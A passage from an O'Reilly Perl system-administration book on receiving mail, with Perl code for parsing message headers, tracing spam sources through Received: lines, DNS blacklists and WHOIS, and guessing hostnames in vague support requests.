&problemreport will output a problem report, subject line first, suitable for feeding to Mail::Mailer as per our previous examples. &fireperson is an example test of this subroutine.

Now that we've explored sending mail, let's see the other edge of the sword.

Previous | Home | Next
8.1. Sending Mail | Book Index | 8.3. Receiving Mail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Receiving Mail (Perl for System Administration)

 Perl for System AdministrationSearch this book

8.3. Receiving Mail

When we discuss receiving mail in this section, we're not going to be speaking of fetching mail. Transferring mail from one machine to another is not particularly interesting. Mail::POP3Client by Sean Dowd and Mail::Cclient by Malcolm Beattie can easily perform the necessary POP (Post Office Protocol) or IMAP (Internet Message Access Protocol) mail transfers for you. It is more instructive to look at what to do with this mail once it has arrived, and that's where we'll focus our attention.

Let's start with the basics and look at the tools available for the dissection of both a single mail message and an entire mailbox. For the first topic, we will again turn to Graham Barr's MailTools package, this time to use the Mail::Internet and Mail::Header modules.

8.3.1. Dissecting a Single Message

The Mail::Internet and Mail::Header modules offer a convenient way to slice and dice the headers of an RFC822-compliant mail message. RFC822 dictates the format of a mail message, including the names of the acceptable header lines and their formats.

To use Mail::Internet, you first feed it an open filehandle to a message file or a reference to an array that already holds the lines of a message:

use Mail::Internet;

$messagefile = "mail";

open(MESSAGE,"$messagefile") or die "Unable to open $messagefile:$!\n";
$message = new Mail::Internet \*MESSAGE;
close(MESSAGE);

If we want to parse a message arriving in a stream of input (i.e., piped to us on our standard input), we could do this:

use Mail::Internet;

$message = new Mail::Internet \*STDIN;

Mail::Internet hands us back a message object instance. We'll commonly use two methods with this instance: body( ) and head( ). body( ) return a reference to an anonymous array that contains the lines of the body of the message. head( ) is more interesting and offers a nice segue to the Mail::Header module.

Mail::Header is implicitly loaded whenever we load Mail::Internet. If we call Mail::Internet's head( ) method, it returns a Mail::Header header object instance. This is the same object instance we would get if we changed our first Mail::Internet example code to use Mail::Header explicitly:

use Mail::Header;

$messagefile = "mail";

open(MESSAGE,"$messagefile") or die "Unable to open $messagefile:$!\n";
$header = new Mail::Header \*MESSAGE;
close(MESSAGE);

The $header object holds the headers of that message and offers us several handy methods to get at this data. For instance, to print a sorted list of the header names (which the module calls "tags") appearing in the message, we could add this to the end of the previous code:

print join("\n",sort $header->tags);

Depending on the message, we'd see something like this:

Cc
Date
From
Message-Id
Organization
Received
Reply-To
Sender
Subject
To

We need to retrieve all of the Received: headers from a message. Here's how:

@received = $header->get("Received");

Often we use the Mail::Header methods in conjunction with a Mail::Internet object. If we were using Mail::Internet to return an object that contained both the body and the headers of a message, we might chain some of the methods from both modules together like this:

@received = $message->head->get("Received");

Note that we're calling get( ) in a list context. In a scalar context, it will return the first occurrence of that tag unless you provide it with an occurrence number as an optional second argument. For instance, get("Received",2) will return the second Received: line in the message. There are other methods provided by Mail::Header to add and delete tags in a header; see the documentation for more information.

8.3.2. Dissecting a Whole Mailbox

Taking this subject to the next level where we slice and dice entire mailboxes, is straightforward. If our mail is stored in "classical Unix mbox" format or qmail (another Message Transfer Agent (MTA) &#224; la sendmail ) format, we can use Mail::Folder by Kevin Johnson. Many common non-Unix mail agents like Eudora store their mail in classical Unix mbox format as well, so this module can be useful on multiple platforms.

The drill is very similar to the examples we've seen before:

use Mail::Folder::Mbox; # for classic Unix mbox format

$folder = new Mail::Folder('mbox',"filename");

The new( ) constructor takes the mailbox format type and the filename to parse. It returns a folder object instance through which we can query, add, remove, and modify messages. To retrieve the sixth message in this folder:

$message = $folder->get_message(6);

$message now contains a Mail::Internet object instance. With this object instance you can use all of the methods we just discussed. If you need just the header of the same message:

$header = $folder->get_header(6);

No surprises here; a reference to a Mail::Header object instance is returned. See the Mail::Folder documentation for the other available methods.

8.3.3. Tracking Down Spam

Now we know how to take a message apart; let's look at two places where this skill comes in handy. The first such domain we'll consider is UCE--Unsolicited Commercial Email (pronounced "spam"). On the whole, users dislike receiving unsolicited commercial email. System administrators detest UCE because it fills mail spool directories and log files unnecessarily. Plus, each UCE mailing generates complaints from users, so the amount of annoying mail in a system administrator's mailbox often increases in a 1:10 ratio for each UCE message received.

The best way to fight back against this annoyance is to create a climate where spam is not tolerated and becomes too much trouble to send. Complaining to the spammer's Internet Service Provider (most of which have strict acceptable use policies) frequently causes the spammer to be booted off that service. If this happens at every ISP the spammer works from, eventually it becomes harder and harder to find a host ISP. The harder a spammer has to work to continue his or her business, the less likely he or she will stay in that business.

Complaining to the right ISP or is made difficult by the following factors:

  • Spammers frequently forge parts of their email in an attempt to cover their tracks. This fact in itself is another reason to dislike spammers. At the very least, it speaks volumes about their intent.

  • Spammers frequently pass their trash through innocent (misconfigured) mail servers. This process is known as "relaying" because in most cases the mail neither originates from, nor is intended for, anyone at that mail server. The mail server is just acting as a relay. System administrators at open relay sites often find themselves in a world of pain. Their hijacked mail server starts to suffer under unintended load (perhaps disrupting real service), their site gets blacklisted, and a sizable portion of the legitimate mail that does get through consists of hate mail from the spammed sites.

Perl can help us with the process of dissecting a spam message to find its source. We'll start small and then get progressively fancier by exercising some of the skills we learned in Chapter 5, "TCP/IP Name Services", and Chapter 6, "Directory Services". If you'd like to see a related and very sophisticated Perl spam-fighting script, I recommend you take a look at adcomplain by Bill McFadden, found at http://www.rdrop.com/users/billmc/adcomplain.html.

Here's a copy of a real piece of spam with the message body changed to avoid giving the spammer any satisfaction:

Received: from isiteinc.com (www.isiteinc.com [206.136.243.2])
   by mailhost.example.com (8.8.6/8.8.6) with ESMTP id NAA14955
   for <webadmin@example.com>; Fri, 7 Aug 1998 13:55:41 -0400 (EDT)
From: responses@example.com
Received: from extreme (host-209-214-9-150.mia.bellsouth.net
  [209.214.9.150])
  by isiteinc.com (8.8.3/8.8.3) with SMTP id KAA19050 for
    webadmin@example.com; Fri, 7 Aug 1998 10:48:09 -0700 (EDT)
Date: Fri, 7 Aug 1998 10:48:09 -0700 (EDT)
Received: from login_0246.whynot.net mx.whynot.net[206.212.231.88])
    by whynot.net (8.8.5/8.7.3) with SMTP id XAA06927 for
    <webadmin@example.com>; Fri, 7 August 1998 13:48:11 -0700 (EDT)
To: <webadmin@example.com>
Subject: ***ADVERTISE VACATION RENTALS - $25/year*** - http://www.example.com
Reply-To: sample@whynot.net
X-PMFLAGS: 10322341.10
X-UIDL: 10293287_192832.222
Comments: Authenticated Sender is <user122@whynot.net>
Message-Id: <77126959_36550609>

We are proud to announce the all new http://www.example.com website brought to you by Extreme Technologies, Inc.

Our exciting new travel resource contains some of the most visually appealing vacation listings available on the WWW.  Within our site you will find information on properties for rent, properties for sale, international properties, bed & breakfast and Inns presented in a highly efficient, and easily navigable fashion.  Our listings come complete with color photos, animated graphics, concise descriptions, and information on how to contact the renter/seller directly.  Plus, we change our site graphics every month!

Let's look at this message with a critical eye. First, most of the message headers are suspect. As you saw in the previous section of this chapter, most of the headers (To:, From:, etc.) are fed to our mailer during the DATA portion of the message transfer. The one set of headers that are hard to forge are those added by the mail transfer agent (e.g., sendmail ) as it passes through each mail system.

In particular, we need to look closely at the Received: headers. A spammer can add forged Received: lines, but he or she can't take away the ones added by subsequent mail systems. It is possible to fake even those out, but it requires a certain level of sophistication (such as forging TCP/IP packets or spoofing DNS entries) that hit-and-run spammers vary rarely possess.

Let's begin by extracting the Received: headers from the message and displaying them in a more readable form. We'll print them in the order a message was transmitted, starting from the first mail server that received the message and ending at its final destination (our site):

use Mail::Header;

$header = new Mail::Header \*STDIN;

$header->unfold('Received');
@received = $header->get('Received');

for (reverse @received){
    chomp;
    parseline($_);
    if (!defined $ehelo and !defined $validname and !defined $validip){
      print "$_\n";
    }
    else {
      write;
    }
}

format STDOUT =
@<<<<<<<<<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<<
$ehelo,$validname,$validip
.

sub parseline {
    my $line = $_;

    # "normal" -- from HELO (REAL [IP])
    if (/from\s+(\w\S+)\s*\((\S+)\s*\[(\d+\.\d+\.\d+\.\d+)/){
      ($ehelo,$validname,$validip) = ($1,$2, $3);
    }
    # can't reverse resolve -- from HELO ([IP])
    elsif (/from\s+(\w\S+)\s+\(\[(\d+\.\d+\.\d+\.\d+)\]/){
      ($ehelo,$validname,$validip) = ($1,undef, $2);
    }
    # exim -- from [IP] (helo=[HELO IP])
    elsif (/from\s+\[(\d+\.\d+\.\d+\.\d+)\]\s+\(helo=\[(\d+\.\d+\.\d+\.\d+)\]/){
      ($validip,$ehelo,$validname) = ($1,$2, undef);
    }
    # Sun Internet Mail Server -- from [IP] by HELO
    elsif (/from\s+\[(\d+\.\d+\.\d+\.\d+)\]\s+by\s+(\S+)/){
      ($validip,$ehelo,$validname) = ($1,$2, undef);
    }
    # Microsoft SMTPSVC -- from HELO - (IP)
    elsif (/from\s+(\S+)\s+-\s+(\d+\.\d+\.\d+\.\d+)\s+/){
      ($ehelo,$validname,$validip) = ($1,$2, $3);
    }
    else { # punt!
      $ehelo = $validname = $validip = undef;
    }

    return [$ehelo,$validname,$validip];
}

This code first unfold( )s and extracts the Received: headers from the message. unfold( ) simply removes the new lines and continuation characters from the given set of header lines. We do this to make parsing easier.

We iterate through these lines in the reverse order they are found in the message. We are essentially operating from the core of the message out, since each system that handles the message envelops it in another layer of Received: headers. And the bulk of the work is done by the &parseline subroutine. This subroutine attempts to use a set of regular expressions to extract the following from a Received: header:

A HELO/EHLO hostname

The name presented at the HELO or EHLO stage of the SMTP conversation.

A "valid" IP address

The IP address of the connecting client as noted by the mail transport agent at time of connect. It is more likely to be "valid" because it uses information that is independent from the information provided by the client during its SMTP conversation. This is important because a spammer's client is likely to be a compulsive liar. The word valid is quoted because there are ways to spoof this information.

A "valid" name

The name of the client found when the mail transfer agent performs a reverse-DNS lookup of the client's IP address. Like the previous item, this information does not come from the client (though it too can be faked).

The format of a proper Received: line is suggested by RFC821 and RFC822. However, if you look at a collection of the mail you have received (as I did when generating the regular expressions used earlier), you'll see that not all mail transfer agents agree on this format. We deal with the most common formats in our program, but there are other variations loose in the wild that you'll have to handle if you plan to extend this code. See the adcomplain script for an idea of the variety of formats in use.

Here's the output of our program, run on the message cited earlier:

login_0246.whynot.net    mx.whynot.net           206.212.231.88
extreme                  host-209-214-9-150.mia  209.214.9.150
isiteinc.com             www.isiteinc.com        206.136.243.2

The first column lists the name the machine used when identifying itself, the second column shows the name of the machine according to the server connection, and the last coluimn is the IP address of that connection's originator. As we mentioned previously, this list is ordered so the last line of output corresponds to the machine that handed the message to our mail server for delivery to us.

Though spammers can't remove Received: lines, they can influence the contents of these lines by providing a fake name in their HELO or EHLO greeting. You can see it has happened in the second line of this example because the hostname in the first column looks nothing like the hostname in the second, more "valid" column.

But supposing they do match, how do you know if a Received: line is forged? One method is to check the "valid" IP address on each Received: line against the "valid" hostname and flag anomalies. The subroutine below will return true (1) if our lookup of the hostname does not match our reverse lookup of the IP address, and vice versa. We'll plug this code into a larger program shortly:

use Socket;

sub checkrev{
    my($ip,$name) = @_;

    return 0 unless ($ip and $name);

    my $namelook = gethostbyaddr(inet_aton($ip),AF_INET);
    my $iplook   = gethostbyname($name);

    $iplook = inet_ntoa($iplook) if $iplook;

    # may be recorded with different capitalization
    if ($iplook eq $ip and lc $namelook eq lc $name){
        return 0;
    }
    else {
        return 1;
    }
}

This check is not truly reliable because, although not desired, it is certainly possible to have legitimate hosts with different or missing reverse IP address pointers. Additionally, name servers can be told to respond with bogus information (i.e., gethostbyaddr( ) can't really be trusted).

There's more we can divine from these Received: headers before we track down the owners of each mail hop. For instance, do we or anyone else consider any of the mail hops to be a known source of spam?

8.3.3.1. Checking against a local blacklist

Some sites keep a local blacklist of hosts spammers are known to use for distributing their messages. This practice was adopted in the early days of the spam industry when it was found that certain ISPs refused to take action against even their most notorious spam-producing customers. In response, mechanisms were added to the major MTAs to deny connections from a list of antisocial hosts and domains.

We can use this list to help us identify if a message has passed through any of the sites listed as known spammers in our local blacklist. We know the site that delivered the mail to us isn't in this list (otherwise we would not have allowed the connect in the first place), but all of the other mail servers listed in a mail's Received: headers are suspect.

There's no one way to write generic code that checks a site against all possible MTA blacklists because different MTAs store this information in different formats. The majority of sites on the Internet currently use sendmail as their mail transport agent, so we'll use its blacklist format for this part of our example. Recent versions of sendmail store their blacklist database using the Berkeley DB 2.X libraries available from http://www.sleepycat.com.

Paul Marquess has released a module called BerkeleyDB specifically to use the Berkeley 2.x/3.x libraries. This may be a bit confusing because the documentation for DB_File, Marquess' other famous module found in the core Perl distribution, also recommends using the 2.x/3.x libraries. DB_File uses the Berkeley DB 2.x/3.x libraries in "compatible mode" (for example, the library is built using the --enable-compat185 flag so the version 1.x API is available). The BerkeleyDB module lets a Perl programmer use the expanded functionality provided by the native 2.x/3.x API.

sendmail uses the native Berkeley DB 2.x/3.x format, so we need to press the BerkeleyDB module into service. Here's some code that will display the contents of a local blacklist:

$blacklist = "/etc/mail/blacklist.db";

use BerkeleyDB;

# tie the hash %blist to the blacklist file, using Berkeley DB
# to retrieve values
tie %blist, 'BerkeleyDB::Hash', -Filename  => $blacklist
  or die "Cannot open file $filename: $! $BerkeleyDB::Error\n" ;

# iterate over each key and value in this file, printing only
# the REJECT entries
while(($key,$value) = each %blist){
    # the entry in the list can also be marked "OK", "RELAY", etc.
    next if ($value ne "REJECT");

    print "$key\n";
}

Building on this code, we can create a subroutine that checks to see if a given host, or the domain it is in, can be found in our local blacklist. If we are asked about the host mailserver.spammer.com, we need to cycle through all of the entries in our blacklist (which could contain mailserver.spammer.com, spammer.com, or even just spammer) to see if any of entries can be found in that hostname.

There are many ways in Perl to write code that compares a list of values against some input, but to keep the code both efficient and interesting, we'll use two moderately advanced Perl techniques. These techniques are designed to reduce the amount of regular expression compilation that takes place during a program's execution. Every time our program uses a "new" regular expression in an interpolated matching situation, the Perl regular expression engine needs to compile the expression. For example, in this code snippet we force the Perl regular expression engine to chew on a new interpolated value each time we go through the loop:

# imagine another loop around this one that calls this code a
# kerjillion times
foreach $match (qw(alewife davis porter harvard central kendall park)){
   $station =~ /$match/ and print "found our station stop!";
}

This process is computationally expensive, so if we can cut down on the amount of compilation needed, our program will run more efficiently. Regular expression compilation time becomes an issue mostly in code that iterates over a list of different regular expressions.

Here's an example of the first technique designed to deal with this issue:

use BerkeleyDB;

$blacklist = "/etc/mail/blacklist.db";

&loadblist;

# take a host name as a command-line argument and complain
# if it is in the blacklist
if (defined &checkblist($ARGV[0])){
        print "*** found $found in our blacklist\n";
    }

# load the blacklist into an array of anonymous subroutines
sub loadblist{
    tie %blist, 'BerkeleyDB::Hash', -Filename  => $blacklist
      or die "Cannot open file $filename: $! $BerkeleyDB::Error\n" ;

    while(my($key,$value) = each %blist){
        # the blacklist can also say "OK", "RELAY", and etc.
        next if ($value ne "REJECT");
        push(@blisttests, eval 'sub {$_[0] =~ /\Q$key/o and $key}');
    }
}

sub checkblist{
    my($line) = shift;

    foreach $subref (@blisttests){
        return $found if ($found = &$subref($line));
    }
    return undef;
}

This example uses the anonymous subroutine technique demonstrated in Joseph Hall's book Effective Perl Programming (Addison Wesley). For each blacklist entry, we create an anonymous subroutine. Each subroutine checks its input against one of the entries in the blacklist. If it matches, we return the entry. References to these subroutines are stored in a list as we create them. Here's the line of code that creates a subroutine and pushes a reference to that code on to a list:

push(@blisttests, eval 'sub {$_[0] =~ /\Q$key/o and $key}');

So if our blacklist had an entry spammer, then the code reference pushed on the array would essentially point to:

sub {
   $_[0] =~ /\Qspammer/o and "spammer";
}

The \Q at the beginning of the regular expression is there to prevent periods (as in .com) or other reserved punctuation from being treated as regular expression metacharacters.

Later in the program we iterate over the list of code references and run each little anonymous subroutine against our input. If any of them return true, we hand back the return value of the subroutine:

return $found if ($found = &$subref($line));

The regular expression compilation we're concerned about takes place only once, when the code reference is being created. We can call each subroutine as often as we want without paying the time penalty for regular expression compilation.

There's another, slightly less advanced technique for writing this code if you are using Perl Version 5.005 or later. Perl Version 5.005 introduced a new syntactic construct called "precompiled regular expressions," which makes this task a little more straightforward. If we wanted to rewrite this code using this new construct, we might do something like this:

sub loadblist{
    tie %blist, 'BerkeleyDB::Hash', -Filename  => $blacklist
      or die "Cannot open file $filename: $! $BerkeleyDB::Error\n" ;

    while(my($key,$value) = each %blist){
        # the blacklist can also say "OK", "RELAY", and etc.
        next if ($value ne "REJECT");
        push(@blisttests,[qr/\Q$key/,$key]);
    }
}

sub checkblist{
    my($line) = shift;

    foreach my $test (@blisttests){
        my($re,$key) = @{$test};
        return $key if ($line =~ /$re/);
    }
    return undef;
}

This time we drop a reference to an anonymous array in @blisttest. The first element of that anonymous array is a compiled regular expression, created using the new "quote regular expression" syntax, qr//. This allows us to store a regular expression after it has been compiled. This precompiled regular expression will provide a significant speed increase when we later perform the match. The second element of our anonymous array is the blacklist entry itself, to be returned if the compiled regular expression is successfully matched.

8.3.3.2. Checking against Internet-wide blacklists

Our last code example provided our site's opinion on the "Is this a spammer?" question for a particular host or domain, but it didn't draw upon the experiences of the rest of the Internet community. There are somewhat controversial[2] services that offer easy access to Internet-wide blacklists of spammers or known open relay hosts. Two well-known services of this type are the Mail Abuse Prevention System's Realtime Blackhole List (RBL) and the Open Relay Behaviour-modification System (ORBS). To access these lists:

[2]The controversy stems over whether such blacklists should be kept, who should maintain them, how they should be applied, under what circumstances sites should be added and removed, and any other political issue you can imagine. For more information on these services, see http://www.maps.vix.comand http://www.orbs.org.

  1. Reverse the order of the elements of the IP address you are checking. For instance, 192.168.1.34 becomes 34.1.168.192.

  2. Append a special domain name to the resulting dotted-quad. To check against the RBL, you would use 34.1.168.192.rbl.maps.vix.com.

  3. Fire off a DNS query for this address.

If you receive a positive response (i.e., it returns an A resource record), then the IP address in question is on the list and has been blacklisted.

A little less controversial is the Dial-up User List, also maintained by the Mail Abuse Prevention System folks. This is a voluntary list of IP address ranges for dynamically-assigned modem pools. The theory is that SMTP connections should not originate from any of these hosts. Those hosts should be sending their mail through their ISP's mail server (which is not on this list).

Here's one way you might check to see if an IP address is on any of these lists:

sub checkaddr{
    my($ip,$domain) = @_;

    return undef unless (defined $ip);

    my $lookupip = join('.',reverse split(/\./,$ip));

    if (gethostbyname($lookupip.$domain)){
        return $ip;
    }
    else {
        return undef;
    }
}

We'll roll this subroutine into this section's penultimate example in a moment. First, now that we've got significantly more detail about each of our Received: headers, let's make an attempt to locate the human or humans responsible for administering each of the machines listed. The Net::Whois module we saw in Chapter 6, "Directory Services" would probably be your first guess for the right tool for this task.

Unfortunately, that module is specialized to receive name-to-domain information only. It also expects the information be in the form used by the InterNIC, not any of the other registries. We may need to receive IP address-to-domain mappings from the WHOIS servers at http://whois.arin.net (American Registry for Internet Numbers), http://whois.ripe.net (European IP Address Allocations), and http://whois.apnic.net (Asia Pacific Address Allocations). The lack of an appropriate module is the first hurdle we're going to have to conquer.

But even if we know how to connect to all of the registries and process their different output formats, it's not clear, given any random IP address, which registry we need to ask. Determining which server to ask is our second hurdle. Luckily, if we ask ARIN for an address in a range not in its database, it will refer us to the proper registry. So if we asked ARIN about a Japanese network address, it will point us at APNIC.

To get over the first hurdle, we could use a general-purpose network communications module like the Net::Telnet module we used in Chapter 6, "Directory Services". Another option is the IO::Socket module we saw earlier in this chapter. Choosing between them is mostly a matter of personal choice and their availability for the platform you'll be using.

The WHOIS service runs on TCP port 43, though we'll use the service name to force a lookup just for caution sake. Talking to a WHOIS server is easy. You connect, provide a query string (in this case an IP address), and receive the answer back. Code to query a random WHOIS server is as simple as this:

sub getwhois{
    my($ip) = shift;
    my($info);

    $cn = new Net::Telnet(Host => $whoishost,
                          Port => 'whois',
                          Errmode => "return",
                          Timeout => 30)
          or die "Unable to set up $whoishost connection:$!\n";

    unless ($cn->print($ip."\n")){
        $cn->close;
        die "Unable to send $ip to $whoishost: ".$cn->errmsg."\n";
    }

    while ($ret = $cn->get){
        $info .=$ret;
    };

    $cn->close;

    return $info;
}

To deal with the second hurdle of choosing the right registry, we have at least two choices. We can query http://whois.arin.net and parse the output. For instance, here's a transcript of the example I gave earlier of querying ARIN for the IP address of a Japanese machine. Bold type is used to indicate our input in the conversation:

% telnet whois.arin.net 43
Trying 192.149.252.22 ...
Connected to whois.arin.net.
Escape character is '^]'.
210.161.92.226
Asia Pacific Network Information Center (NETBLK-APNIC-CIDR-BLK)
   Level 1 - 33 Park Road
   Milton, 4064
   AU

   Netname: APNIC-CIDR-BLK2
   Netblock: 210.0.0.0 - 211.255.255.0

   Coordinator:
      Administrator, System  (SA90-ARIN)  sysadm@APNIC.NET
      +61-7-3367-0490

   Domain System inverse mapping provided by:

   SVC01.APNIC.NET              202.12.28.131
   NS.TELSTRA.NET               203.50.0.137
   NS.KRNIC.NET                 202.30.64.21
   NS.RIPE.NET                  193.0.0.193

   *** please refer to whois.apnic.net for more information ***
   *** before contacting APNIC                              ***
   *** use whois -h whois.apnic.net <object>                ***

   Record last updated on 04-Mar-99.
   Database last updated on 19-Apr-99 16:14:16 EDT.

Once we get output like this, we know we need to ask the question again at http://whois.apnic.net.

Alternatively, we can query a "smart" WHOIS server to do the work for us. My favorite site for this is http://whois.geektools.com. [3] This server will analyze your query, send the request off to the correct WHOIS server on your behalf, and return the result. A user of this service does not have to know or care about which site actually holds the information.

[3]As an interesting aside, the GeekTools WHOIS proxy server is written in Perl. For more information about this service or for a copy of the code, see http://www.geektools.com.

To keep our example code from getting too large and keep this discussion on target, we'll take the second (and easier) option.

Let's wrap all of these little queries into one big package and run it. If we run this code to call all of the above subroutines on our example spam message:

use Mail::Header;
use Socket;
use BerkeleyDB;
use Net::Telnet;

$header = new Mail::Header \*STDIN;

$header ->unfold('Received');
@received = $header->get('Received');

$rbldomain  = ".rbl.maps.vix.com";
$orbsdomain = ".relays.orbs.org";
$duldomain  = ".dul.maps.vix.com";
$blacklist  = "/etc/mail/blacklist.db";
$whoishost  = "whois.geektools.com";

&loadblist;

for (reverse @received){
    chomp;

    parseline($_);
    if (!defined $ehelo and !defined $validname and !defined $validip){
       print "$_\n";
    }
    else {
     $flags  = (&checkaddr($validip,$rbldomain)  ? "R" : ""); # in RBL?
     $flags .= (&checkaddr($validip,$orbsdomain) ? "O" : ""); # in ORBS?
     $flags .= (&checkaddr($validip,$duldomain)  ? "D" : ""); # in DUL?
     $flags .= (&checkblist($_)                  ? "B" : ""); # in our list?
     $flags .= (&checkrev($validip,$validname)   ? "L" : ""); # rev-lookup?
      push(@iplist,$validip);

      write;
    }
}

for (@iplist){
    print "\nWHOIS info for $_:\n";
    print &getwhois($_);
}

format STDOUT =
@<<<<<<<<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<< @<<<<
$ehelo,$validname,$validip,$flags
.

we get output that looks like this (slightly abridged):

login_0246.whynot.net   mx.whynot.net           206.212.231.88   L
extreme                 host-209-214-9-150.mia  209.214.9.150    DB
isiteinc.com            www.isiteinc.com        206.136.243.2    OB

WHOIS info for 206.212.231.88:

WHOIS info for 209.214.9.150:
BellSouth.net Inc. (NETBLK-BELLSNET-BLK4)
   1100 Ashwood Parkway
   Atlanta, GA 30338

   Netname: BELLSNET-BLK4
   Netblock: 209.214.0.0 - 209.215.255.255
   Maintainer: BELL

   Coordinator:...

WHOIS info for 206.136.243.2:
Brainsell Incorporated (NET-ISITEINC)
   4105-R Laguna St.
   Coral Gables, FL 33146
   US

   Netname: ISITEINC
   Netnumber: 206.136.243.0

   Coordinator:...

Much nicer! Now we know:

  • The spammer gave misleading HELO/EHLO responses.

  • The first site is probably bogus (it had a lookup failure and there was no WHOIS information).

  • The spam message was probably injected into the Net via a dial-up machine.

  • Two of these addresses are already on our blacklist.

  • ORBS doesn't like them either.

  • Contact information for the ISP and site we might want to contact.

Perl has helped us get well on our way towards dealing with this particular piece of unsolicited commercial email.

But spam is such an unpleasant subject. Let's move on to a cheerier topic, like interacting with users via email.

8.3.4. Support Mail Augmentation

Even if you do not have a "help desk" at your site, you probably have some sort of support email address for user questions and problems. Email as a support communications medium has certain advantages:

  • It can be stored and tracked, unlike hallway conversations.

  • It is asynchronous; the system administrator can read and answer mail during the more rational nighttime hours.

  • It can be a unicast, multicast, or broadcast medium by choice. If 14 people write in (let's say, about a spam message), it is possible to respond to all of them simultaneously when the problem is resolved.

  • It can be easily forwarded to someone else who might know the answer or have authority over that service domain.

These are all strong reasons to make email an integral part of any support relationship. However, email does have certain disadvantages:

  • If there is a problem with your email system itself, or if the user is having email-related problems, another medium must be used.

  • Users can and will type anything they want into an email message. There's no guarantee that this message will contain the information you need to fix the problem or assist the user. You may not gain even a superficial understanding of the purpose of the email. This leads us to the conundrum we'll attempt to address in this section.

My favorite support email of all time is reproduced in its entirety with only the name of the sender changed to protect the guilty:

Date: Sat, 28 Sep 1996 12:27:35 -0400 (EDT)
From: Special User <user@example.com>
To: systems@example.com
Subject: [Req. #9531] printer help

something is wrong and I have know idea what

If the user hadn't mentioned "printer" in the subject of her mail, we would have no clue where to begin and would probably have chalked the situation up to existential angst. Granted, this was perhaps the most extreme example. More often you receive mail like this:

From: Another user <user2@example.com>
Subject: [Req #14563] broken macine
To: systems@example.com
Date: Wed, 11 Mar 1998 10:59:42 -0500 (EST)

There is something wrong with the following machine:

        krakatoa.example.com

A user does not send mail devoid of contextual content like this out of malice. I believe the root cause of these problems is an impedance mismatch between the user's and the system administrator's mental model of the computing environment.

In the case of most users, the visible structure of the computing environment is limited to the client machine they are logged into, the nearby printer, and their storage (i.e., home directory). For a system administrator the structure of the computing environment is considerably different. She sees a set of servers providing services to clients, all of which may have a myriad of different peripheral devices. Each machine may have a different set of software that is installed and a different state (system load, configuration, etc.).

To a user, the question "Which machine is having a problem?" seems strange. They are talking about the computer, the one they are using now. Isn't that obvious? To a system administrator, a request for "help with the printer" is equally odd; after all, there are many printers in her charge.

So too it goes with the specifics of a problem. System administrators around the world grit their teeth every day when they receive mail that says, "My machine isn't working, can you help me?" They know "not working" could mean a whole panoply of symptoms, each with its own array of causes. To a user that has experienced three screen freezes in the last week, "not working" is unambiguous.

One way to address this disconnect is to constrain the material sent in email. Some sites force the user to send in trouble reports using a custom support application or web form. The problem with this approach is that very few users enjoy engaging in a click-and-scroll fest just to report a problem or ask a question. The more pain involved in the process, the less likely someone will go to the trouble of using these mechanisms. It doesn't matter how carefully constructed or beautifully designed your web form is if no one is willing to use it. Hallway requests will become the norm again. Back to square one?

Well, with the help of Perl, maybe not. Perl can help us augment normal mail receiving to assist us in the support process. One of the first steps in this process for a system administrator is the identification of locus: "Where is the problem? Which printer? Which machine?" And so on.

Here is a program I call suss, which provides a bare-bones example of this augmentation. It looks at an email message and attempts to guess the name of a machine associated with that message. The upshot of this is that we often can determine the hostname for the "My machine has a problem" category of email without having to engage in a second round of email with the vague user. This hostname is more than likely going to be a good starting point in the troubleshooting process.

suss uses an extremely simple algorithm to guess the name the machine in question (basically just a hash lookup for every word in the message). First, it examines the message subject, then the body of the message, and finally looks at the Received: headers on the message. Here's a simplified version of the code that expects to be able to read an /etc/hosts file to determine the names of our hosts:

use Mail::Internet;
$localdomain = ".example.com";

# read in our host file
open(HOSTS,"/etc/hosts") or die "Can't open host file\n";
while(defined($_ = <HOSTS>)){
    next if /^#/;        # skip comments
    next if /^$/;        # skip blank lines
    next if /monitor/i;  # an example of a misleading host

    $machine = lc((split)[1]);  # extract the first host name & downcase
    $machine =~ s/\Q$localdomain\E$//oi; # remove our domain name
    $machines{$machine}++ unless $machines{$machine};
}

# parse the message
$message = new Mail::Internet \*STDIN;
$message->head->unfold(  );

# check in the subject line
my $subject = $message->head->get('Subject');
$subject  =~ s/[.,;?]//g;
for (split(/\s+/,$subject)) {
    if (exists $machines{lc $_}) {
      print "subject: $_\n";
      $found++;
    }
}
exit if $found;

# check in the body of the message
chomp(my @body = @{$message->body(  )});
my $body = join(" ",@body);
$body =~ s/[^\w\s]/ /g;              # remove punctuation
@body{split(' ', lc $body)} = (  );    # uniq'ify the body
for (keys %body) {
    if (exists $machines{lc $_}) {
      print "body: $_\n";
      $found++;
    }
}
exit if $found;

# last resort: check the last Received: line
$received = (reverse $message->head->get('Received'))[0];
$received =~ s/\Q$localdomain\E//g;
for (split(/\s+/,$received)) {
    if (exists $machines{lc $_}) {
      print "received: $_\n";
    }
}

Two comments on this code:

  • The simplicity of our word check becomes painfully apparent when we encounter perfectly reasonable hostnames like monitor. If you have hostnames that are likely to appear in support messages, you will either have to special-case them as we do with next if /monitor/i, or preferably create a more complicated parsing scheme.

  • We're using a hash slice construct (@body{...}) to help speed up our search of the body of the message. In one step, we've extracted all of the unique words from the text. To understand this construct, you can read it from the inside out. First, the split( ) returns a list of all of the "words" (lowercased) in the message. These words are used as keys to populate the hash %body. Because a hash can only contain one instance of any given key, the hash will contain keys consisting of all of the unique words found in the body of the message. It is magic like this that can make programming Perl fun.

Let's take this code out for a spin. Here are two real support messages:

Received: from strontium.example.com (strontium.example.com [192.168.1.114])
        by mailhub.example.com (8.8.4/8.7.3) with ESMTP id RAA27043
        for <systems>; Thu, 27 Mar 1997 17:07:44 -0500 (EST)
From: User Person <user@example.com>
Received: (user@localhost)
        by strontium.example.com (8.8.4/8.6.4) id RAA10500
        for systems; Thu, 27 Mar 1997 17:07:41 -0500 (EST)
Message-Id: <199703272207.RAA10500@strontium.example.com>
Subject: [Req #11509] Monitor
To: systems@example.com
Date: Thu, 27 Mar 1997 17:07:40 -0500 (EST)

Hi,
My monitor is flickering a little bit and it is tiresome
whe working with it to much.
Is it possible to fix it or changing the monitor?

Thanks.

User.
-------------------------------------
Received: from example.com (user2@example.com [192.168.1.7])
        by mailhost.example.com (8.8.4/8.7.3) with SMTP id SAA00732
        for <systems@example.com>; Thu, 27 Mar 1997 18:34:54 -0500 (EST)
Date: Thu, 27 Mar 1997 18:34:54 -0500 (EST)
From: Another User <user2@example.com>
To: systems@example.com
